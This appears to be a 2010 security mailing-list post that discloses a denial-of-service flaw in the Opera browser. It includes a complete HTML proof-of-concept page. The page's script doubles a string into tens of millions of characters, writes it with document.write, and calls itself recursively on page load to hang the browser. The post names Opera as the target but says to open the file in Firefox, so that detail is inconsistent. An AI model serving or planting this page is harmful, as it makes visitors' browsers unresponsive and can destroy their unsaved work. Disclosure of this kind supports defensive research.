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Opera (plenitude String )Denial of Service Exploit


From: information security <informationhacker08 () gmail com>
Date: Tue, 2 Mar 2010 20:04:19 -0800

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                      Opera (plenitude String )Denial of Service Exploit

=======================================================================

                                                     by

                                            Asheesh Kumar Mani Tripathi


# code by Asheesh kumar Mani Tripathi

# email informationhacker08 () gmail com

# company       www.aksitservices.co.in

# Credit by Asheesh Anaconda


#Download http://www.opera.com/download/


#Background

Opera is a popular internet browser :)

#Vulnerability
This bug is a typical result when attacker try to write plenitude String in
document.write() function .User interaction is required to
exploit this vulnerability in that the target must visit a malicious
web page.



#Impact
Browser doesn't respond any longer to any user input, all tabs are no
longer accessible, your work if any   might be lost.



#Proof of concept
copy the code in text file and save as "asheesh.html" open in Mozilla Firefox

========================================================================================================================

                                                           asheesh.html
========================================================================================================================

<html>
<title>asheesh kumar mani tripathi</title>
Asheesh kumar Mani Tripathi
<head>

<script>
        
        
        
function asheesh ()
 {
        var     i , anaconda = "XXXX"
        for(i=24;i >0 ;--i)
 {
                anaconda=anaconda+anaconda;
        }

    document.write(anaconda);

  asheesh();

}
asheesh();

</script>
</head>

<body onLoad="asheesh()"></body>
</html>



========================================================================================================================
Why do you worry without cause? Whom do you fear without reason? Who
can kill you?
The soul is neither born, nor does it die.


#If you have any questions, comments, or concerns, feel free to contact me.
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